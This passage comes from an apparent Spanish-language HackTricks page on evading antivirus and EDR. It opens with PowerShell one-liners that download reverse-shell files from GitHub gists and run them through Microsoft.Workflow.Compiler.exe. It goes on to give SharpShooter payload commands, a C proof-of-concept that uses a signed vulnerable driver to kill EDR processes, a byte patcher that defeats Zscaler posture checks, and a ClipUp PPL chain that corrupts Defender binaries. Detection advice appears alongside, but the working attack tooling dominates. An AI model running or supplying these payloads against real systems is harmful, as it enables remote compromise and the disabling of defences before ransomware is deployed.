powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell

32bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell

https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f

Lista de ofuscadores para C#: https://github.com/NotPrab/.NET-Obfuscator

C++

sudo apt-get install mingw-w64

i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

Ejemplo de uso de python para construir injectors:

Otras herramientas

bash
# Veil Framework:
https://github.com/Veil-Framework/Veil

# Shellter
https://www.shellterproject.com/download/

# Sharpshooter
# https://github.com/mdsecactivebreach/SharpShooter
# Javascript Payload Stageless:
SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3

# Stageless HTA Payload:
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee

# Staged VBS:
SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4

# Donut:
https://github.com/TheWover/donut

# Vulcan
https://github.com/praetorian-code/vulcan

Más

Bring Your Own Vulnerable Driver (BYOVD) – Killing AV/EDR From Kernel Space

Storm-2603 aprovechó una pequeña utilidad de consola conocida como Antivirus Terminator para deshabilitar las protecciones endpoint antes de desplegar ransomware. La herramienta trae su propio driver vulnerable pero firmado y lo abusa para emitir operaciones privilegiadas en el kernel que ni siquiera los servicios AV Protected-Process-Light (PPL) pueden bloquear.

Puntos clave

  1. Signed driver: El archivo escrito en disco es ServiceMouse.sys, pero el binario es el driver legítimamente firmado AToolsKrnl64.sys del “System In-Depth Analysis Toolkit” de Antiy Labs. Porque el driver posee una firma válida de Microsoft se carga incluso cuando Driver-Signature-Enforcement (DSE) está activado.
  2. Service installation:
powershell
sc create ServiceMouse type= kernel binPath= "C:\Windows\System32\drivers\ServiceMouse.sys"
sc start  ServiceMouse

La primera línea registra el driver como un servicio kernel y la segunda lo inicia para que \\.\ServiceMouse sea accesible desde user land. 3. IOCTLs exposed by the driver

IOCTL codeCapability
0x99000050Terminate an arbitrary process by PID (used to kill Defender/EDR services)
0x990000D0Delete an arbitrary file on disk
0x990001D0Unload the driver and remove the service

Minimal C proof-of-concept:

c
#include <windows.h>

int main(int argc, char **argv){
DWORD pid = strtoul(argv[1], NULL, 10);
HANDLE hDrv = CreateFileA("\\\\.\\ServiceMouse", GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
DeviceIoControl(hDrv, 0x99000050, &pid, sizeof(pid), NULL, 0, NULL, NULL);
CloseHandle(hDrv);
return 0;
}
  1. Why it works: BYOVD evita por completo las protecciones en user-mode; el código que se ejecuta en el kernel puede abrir procesos protegidos, terminarlos o manipular objetos del kernel independientemente de PPL/PP, ELAM u otras características de hardening.

Detection / Mitigation • Habilitar la lista de bloqueo de drivers vulnerables de Microsoft (HVCI, Smart App Control) para que Windows se niegue a cargar AToolsKrnl64.sys.
• Monitorizar la creación de nuevos servicios kernel y alertar cuando un driver se cargue desde un directorio world-writable o no esté presente en la allow-list.
• Vigilar handles en user-mode hacia objetos de dispositivo personalizados seguidos de llamadas sospechosas a DeviceIoControl.

Bypassing Zscaler Client Connector Posture Checks via On-Disk Binary Patching

Zscaler’s Client Connector aplica reglas de posture del dispositivo localmente y se apoya en Windows RPC para comunicar los resultados a otros componentes. Dos decisiones de diseño débiles hacen posible un bypass completo:

  1. La evaluación de posture ocurre completamente en el cliente (se envía un booleano al servidor).
  2. Los endpoints RPC internos sólo validan que el ejecutable conectante esté firmado por Zscaler (vía WinVerifyTrust).

Al parchear cuatro binarios firmados en disco se pueden neutralizar ambos mecanismos:

BinaryOriginal logic patchedResult
ZSATrayManager.exedevicePostureCheck() → return 0/1Siempre devuelve 1, por lo que cada comprobación es conforme
ZSAService.exeIndirect call to WinVerifyTrustNOP-ed ⇒ cualquier proceso (incluso no firmado) puede enlazarse a las pipes RPC
ZSATrayHelper.dllverifyZSAServiceFileSignature()Reemplazado por mov eax,1 ; ret
ZSATunnel.exeIntegrity checks on the tunnelCortocircuitado

Minimal patcher excerpt:

python
pattern = bytes.fromhex("44 89 AC 24 80 02 00 00")
replacement = bytes.fromhex("C6 84 24 80 02 00 00 01")  # force result = 1

with open("ZSATrayManager.exe", "r+b") as f:
data = f.read()
off = data.find(pattern)
if off == -1:
print("pattern not found")
else:
f.seek(off)
f.write(replacement)

Después de reemplazar los archivos originales y reiniciar la pila de servicios:

  • All posture checks display green/compliant.
  • Unsigned or modified binaries can open the named-pipe RPC endpoints (e.g. \\RPC Control\\ZSATrayManager_talk_to_me).
  • The compromised host gains unrestricted access to the internal network defined by the Zscaler policies.

Este estudio de caso demuestra cómo decisiones de confianza puramente del lado del cliente y simples comprobaciones de firma pueden ser derrotadas con unos pocos parches de bytes.

Abusing Protected Process Light (PPL) To Tamper AV/EDR With LOLBINs

Protected Process Light (PPL) aplica una jerarquía de signer/level de modo que solo procesos protegidos de nivel igual o superior pueden manipularse entre sí. Ofensivamente, si puedes lanzar legítimamente un binario habilitado para PPL y controlar sus argumentos, puedes convertir funcionalidad benigna (p. ej., logging) en una primitiva de escritura respaldada por PPL contra directorios protegidos usados por AV/EDR.

What makes a process run as PPL

  • The target EXE (and any loaded DLLs) must be signed with a PPL-capable EKU.
  • The process must be created with CreateProcess using the flags: EXTENDED_STARTUPINFO_PRESENT | CREATE_PROTECTED_PROCESS.
  • A compatible protection level must be requested that matches the signer of the binary (e.g., PROTECTION_LEVEL_ANTIMALWARE_LIGHT for anti-malware signers, PROTECTION_LEVEL_WINDOWS for Windows signers). Wrong levels will fail at creation.

See also a broader intro to PP/PPL and LSASS protection here:

Windows Credentials Protections

Launcher tooling

text
CreateProcessAsPPL.exe <level 0..4> <path-to-ppl-capable-exe> [args...]
# example: spawn a Windows-signed component at PPL level 1 (Windows)
CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe <args>
# example: spawn an anti-malware signed component at level 3
CreateProcessAsPPL.exe 3 <anti-malware-signed-exe> <args>

LOLBIN primitive: ClipUp.exe

  • El binario del sistema firmado C:\Windows\System32\ClipUp.exe se auto-inicia y acepta un parámetro para escribir un archivo de registro en una ruta especificada por el llamador.
  • Cuando se inicia como proceso PPL, la escritura del archivo ocurre con respaldo PPL.
  • ClipUp no puede parsear rutas que contienen espacios; usa rutas cortas 8.3 para apuntar a ubicaciones normalmente protegidas.

8.3 short path helpers

  • Listar nombres cortos: dir /x en cada directorio padre.
  • Derivar ruta corta en cmd: for %A in ("C:\ProgramData\Microsoft\Windows Defender\Platform") do @echo %~sA

Abuse chain (abstract)

  1. Lanza el LOLBIN capaz de PPL (ClipUp) con CREATE_PROTECTED_PROCESS usando un lanzador (p. ej., CreateProcessAsPPL).
  2. Pasa el argumento de ruta de log de ClipUp para forzar la creación de un archivo en un directorio AV protegido (p. ej., Defender Platform). Usa nombres cortos 8.3 si es necesario.
  3. Si el binario objetivo normalmente está abierto/bloqueado por el AV mientras se ejecuta (p. ej., MsMpEng.exe), programa la escritura en el arranque antes de que el AV se inicie instalando un servicio de autoarranque que se ejecute antes de forma fiable. Valida el orden de arranque con Process Monitor (boot logging).
  4. Al reiniciar, la escritura con respaldo PPL ocurre antes de que el AV bloquee sus binarios, corrompiendo el archivo objetivo e impidiendo el arranque.

Example invocation (paths redacted/shortened for safety):

text
# Run ClipUp as PPL at Windows signer level (1) and point its log to a protected folder using 8.3 names
CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe -ppl C:\PROGRA~3\MICROS~1\WINDOW~1\Platform\<ver>\samplew.dll

Notas y restricciones

  • No puedes controlar el contenido que ClipUp escribe más allá de la ubicación; la primitiva está diseñada para corrupción más que para inyección de contenido precisa.
  • Requiere admin local/SYSTEM para instalar/iniciar un servicio y una ventana de reinicio.
  • La sincronización es crítica: el objetivo no debe estar abierto; la ejecución en tiempo de arranque evita bloqueos de archivos.

Detecciones

  • Creación de procesos de ClipUp.exe con argumentos inusuales, especialmente si tienen como padre lanzadores no estándar, durante el arranque.
  • Nuevos servicios configurados para auto-iniciar binarios sospechosos y que consistentemente arrancan antes de Defender/AV. Investigar la creación/modificación de servicios previa a fallos de arranque de Defender.
  • Monitoreo de integridad de archivos en binarios de Defender/directorios Platform; creaciones/modificaciones de archivos inesperadas por procesos con banderas de protected-process.
  • Telemetría ETW/EDR: buscar procesos creados con CREATE_PROTECTED_PROCESS y uso anómalo de niveles PPL por binarios no-AV.

Mitigaciones

  • WDAC/Code Integrity: restringir qué binarios firmados pueden ejecutarse como PPL y bajo qué padres; bloquear invocaciones de ClipUp fuera de contextos legítimos.
  • Higiene de servicios: restringir la creación/modificación de servicios de auto-inicio y monitorizar la manipulación del orden de arranque.
  • Asegurar que Defender tamper protection y las protecciones de early-launch estén habilitadas; investigar errores de inicio que indiquen corrupción de binarios.
  • Considerar deshabilitar la generación de nombres cortos 8.3 en volúmenes que alojan herramientas de seguridad si es compatible con su entorno (probar exhaustivamente).

Referencias sobre PPL y herramientas

  • Descripción general de Microsoft Protected Processes: https://learn.microsoft.com/windows/win32/procthread/protected-processes
  • Referencia EKU: https://learn.microsoft.com/openspecs/windows_protocols/ms-ppsec/651a90f3-e1f5-4087-8503-40d804429a88
  • Procmon boot logging (validación del orden): https://learn.microsoft.com/sysinternals/downloads/procmon
  • Lanzador CreateProcessAsPPL: https://github.com/2x7EQ13/CreateProcessAsPPL
  • Artículo técnico (ClipUp + PPL + manipulación del orden de arranque): https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html

Referencias

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks